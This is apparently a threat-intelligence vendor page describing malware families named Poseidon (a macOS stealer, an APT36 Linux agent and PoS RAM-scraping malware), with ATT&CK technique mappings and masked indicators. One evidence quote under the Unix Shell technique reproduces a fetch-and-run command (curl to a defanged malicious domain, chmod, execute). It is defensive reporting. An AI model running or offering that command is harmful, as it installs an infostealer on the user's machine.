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MalwareUsed by 1 actor

Poseidon

Poseidon is a name used in multiple malware contexts in the provided content. Most prominently, it refers to a macOS infostealer, described as a fork of AMOS/Atomic macOS Stealer, that steals browser cookies, passwords, cryptocurrency wallet credentials, and other user data. Reported capabilities include theft from more than 160 cryptocurrency wallets, web browsers, Bitwarden, KeePassXC, FileZilla, and VPN configurations including Fortinet and OpenVPN. It has been distributed via malvertising, malicious ads, fake high-ranking websites, free/cracked software, and AppleScript-based fake prompts that mimic native macOS dialogs to steal credentials. The content states Poseidon was the most active infostealer on Mac in late 2024, accounting for 70% of macOS infostealer detections, and that Odyssey later emerged as its successor.

The name Poseidon is also used for a Linux backdoor/agent associated with the Mythic C2 framework. In that context, it is described as a Go-based backdoor used by Transparent Tribe/APT36 in campaigns targeting Indian government and defense-related entities, including BOSS Linux systems. Reported capabilities include data collection, long-term access, credential harvesting, file operations, and potential lateral movement. Related reporting places Poseidon in APT36’s Linux malware progression before AresRAT and DeskRAT. Separate supply-chain reporting states malicious npm packages such as eslint-verify-plugin dropped a Poseidon Mythic agent on Linux.

Additionally, the content includes references to PoSeidon, a distinct point-of-sale malware family targeting PoS terminals at restaurants, bars, and hotels in the U.S. That malware is described as scraping RAM for payment card track data and including keylogging functionality to capture usernames and passwords. Because the supplied object name is "poseidon," the most widely recognized display form in the provided material is "Poseidon," but the content clearly shows that this name is overloaded across unrelated malware families.

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THREAT ACTORS

Groups observed using it

1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

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Transparent Tribe

Tied together with six months of passive DNS, this is the fourth Linux-oriented RAT family APT36 has rotated through since mid-2024 (Poseidon → AresRAT → DeskRAT, alongside the parallel Windows CrimsonRAT track).

via breakglass intelintel.breakglass.tech
MITRE ATT&CK

Techniques & procedures

16 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

4 techniques
T1195.001Compromise Software Dependencies and Development ToolsEvidence1

"Cybersecurity researchers have discovered four malicious NuGet packages... designed to target ASP.NET web application developers..." and "a malicious npm package named ambar-src..."

T1566PhishingEvidence1

The current lure is themed as Ministry of Defence procurement of indigenous trawl assemblies for T-72 and T-90 main battle tanks — a plausible-enough artifact for a defense-contracting inbox to open without hesitation.

T1566.001Spearphishing AttachmentEvidence2

The current lure is themed as Ministry of Defence procurement of indigenous trawl assemblies for T-72 and T-90 main battle tanks ... a plausible-enough artifact for a defense-contracting inbox to open without hesitation.

T1566.003Spearphishing via ServiceEvidence1

...decoy PDF hosted on Google Drive...; users are redirected to these URLs through spear-phishing emails.

Execution

4 techniques
T1053.003CronEvidence1

The malware also establishes persistence by means of a cron job that executes the main payload automatically after a system reboot or process termination.

T1059.002AppleScriptEvidence1
TacticExecution

"Infostealers like Poseidon are abusing the AppleScript framework... to simulate prompts that mimic native Apple prompts, with the goal of stealing end user credentials."

T1059.004Unix ShellEvidence2
TacticExecution

The command that’s copied for macOS devices instructs the system to... curl -o /tmp/update hxxps[:]//applemacios[.]com/getrur/update ... chmod +x /tmp/update ... Run the downloaded file /tmp/update.

T1204User ExecutionEvidence1
TacticExecution

weaponized .desktop shortcut files that, once opened, download and execute malicious payloads.

Persistence

1 technique
T1053.003CronEvidence1

The malware also establishes persistence by means of a cron job that executes the main payload automatically after a system reboot or process termination.

T1053.003CronEvidence1

The malware also establishes persistence by means of a cron job that executes the main payload automatically after a system reboot or process termination.

Stealth

2 techniques
T1036MasqueradingEvidence2
TacticStealth

The current lure is themed as Ministry of Defence procurement of indigenous trawl assemblies for T-72 and T-90 main battle tanks — a plausible-enough artifact for a defense-contracting inbox to open without hesitation.

T1497Virtualization/Sandbox EvasionEvidence1

...equipped to carry out a series of dummy anti-debugging and anti-sandbox checks...

Credential Access

3 techniques
T1003.001LSASS MemoryEvidence1

Point-of-Sale (PoS) terminals have become an attractive target for hackers over the past year, reflected in the increasing number of RAM-scraping programs that steal payment card information from the memory of such systems.

T1552Unsecured CredentialsEvidence1

The malicious code embedded into the packages comes with capabilities to siphon system information, access tokens, environment secrets, and API keys from developer environments... It also harvests API keys for nine large language models (LLM) providers.

T1555Credentials from Password StoresEvidence1

The entire attack chain unfolds over two stages: a first-stage component that captures credentials and cryptocurrency keys and then loads a secondary stage that subsequently performs deeper harvesting of credentials from password managers.

Discovery

2 techniques
T1082System Information DiscoveryEvidence1
TacticDiscovery

...said the malware performs system reconnaissance...

T1497Virtualization/Sandbox EvasionEvidence1

...equipped to carry out a series of dummy anti-debugging and anti-sandbox checks...

T1105Ingress Tool TransferEvidence2

The shell script serves as a dropper to fetch a hex-encoded file from an attacker-controlled server ("securestore[.]cv") and save it to disk as an ELF binary...

Exfiltration

1 technique
T1041Exfiltration Over C2 ChannelEvidence2

These payloads affect Windows and macOS devices and typically lead to information theft and data exfiltration.

INDICATORS OF COMPROMISE

IOCs tracked for this family

9 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

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Network
2 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
2 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other
5 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
hash.sha256●●●●●●●●●●●●View more in app1 month ago
hash.sha256●●●●●●●●●●●●View more in app1 month ago
domain●●●●●●●●●●●●View more in app7 months ago
domain●●●●●●●●●●●●View more in app8 months ago
uri●●●●●●●●●●●●View more in app2 years ago
uri●●●●●●●●●●●●View more in app2 years ago
What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching9

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution1

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping16

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.